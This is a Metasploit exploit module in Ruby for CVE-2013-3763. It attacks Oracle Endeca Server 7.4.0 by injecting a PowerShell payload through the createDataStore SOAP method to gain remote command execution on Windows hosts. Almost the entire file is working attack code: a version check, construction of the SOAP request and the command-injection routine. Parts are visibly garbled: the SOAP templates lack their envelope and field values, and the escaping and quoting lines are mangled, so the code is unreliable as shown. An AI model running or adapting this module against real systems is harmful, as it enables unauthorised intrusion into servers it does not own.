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require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell
def initialize
super(
'Name' => 'Oracle Endeca Server Remote Command Execution',
'Description' => %q{
This module exploits a command injection vulnerability on the Oracle Endeca
Server 7.4.0. The vulnerability exists on the createDataStore method from the
controlSoapBinding web service. The vulnerable method only exists on the 7.4.0
branch and isn't available on the 7.5.5.1 branch. On the other hand, the injection
has been found to be Windows specific. This module has been tested successfully
on Endeca Server 7.4.0.787 over Windows 2008 R2 (64 bits).
},
'Author' => [
'rgod <rgod[at]autistici.org>',
'juan vazquez'
],
'Platform' => 'win',
'Arch' => [ ARCH_X86_64, ARCH_X86 ],
'References' =>
[
[ 'CVE', '2013-3763' ],
[ 'BID', '61217' ],
[ 'OSVDB', '95269' ],
],
'Targets' =>
[
[ 'Oracle Endeca Server 7.4.0 / Microsoft Windows 2008 R2 64 bits', { } ]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => 'Jul 16 2013'
)
register_options(
[
Opt::RPORT(7770),
OptString.new('TARGETURI', [true, 'The URI path of the Control Web Service', '/ws/control'])
], self.class)
end
def peer
return "#{rhost}:#{rport}"
end
def version_soap
soap = <<-eos
<soapenv:Header/>
<soapenv:Body>
<ns:version/>
</soapenv:Body>
</soapenv:Envelope>
eos
return soap
end
def create_data_store_soap(name, files)
soap = <<-eos
<soapenv:Header/>
<soapenv:Body>
<ns:createDataStore>
<ns:dataStoreConfig>
<ns:name>
<ns:dataFiles>
</ns:dataStoreConfig>
</ns:createDataStore>
</soapenv:Body>
</soapenv:Envelope>
eos
return soap
end
def check
res = send_request_soap(version_soap)
if res.nil? or res.code != 200 or res.body !~ /versionResponse/
return Exploit::CheckCode::Safe
end
version_match = res.body.match(/<serverVersion>Oracle Endeca Server ([0-9\.]*) /)
if version_match.nil?
return Exploit::CheckCode::Unknown
else
version = version_match[1]
end
print_status("#{peer} - Version found: Oracle Endeca Server #{version}")
if version =~ /7\.4\.0/ and version <= "7.4.0.787"
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def send_request_soap(data)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'ctype' => 'text/xml; charset=utf-8',
'headers' =>
{
'SOAPAction' => "\"\""
},
'data' => data
})
return res
end
def exploit
command = cmd_psh_payload(payload.encoded)
if command.length > 8000
fail_with(Failure::BadConfig, "#{peer} - The selected paylod is too long to execute through powershell in one command")
end
print_status("#{peer} - Exploiting through Powershell...")
execute_command(command)
end
def execute_command(cmd)
cmd.gsub!(/&/, "&")
injection = "c:\\"& #{cmd} &""
exploit_data = create_data_store_soap(rand_text_alpha(4), injection)
begin
res = send_request_soap(exploit_data)
if res.nil? or res.code != 500 or ( res.body !~ /Error creating data files at/ and res.body !~ /Data files don't exist/ )
print_status("#{res.code}\n#{res.body}") if res
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to execute the CMD Stager")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Unable to connect")
end
end
end
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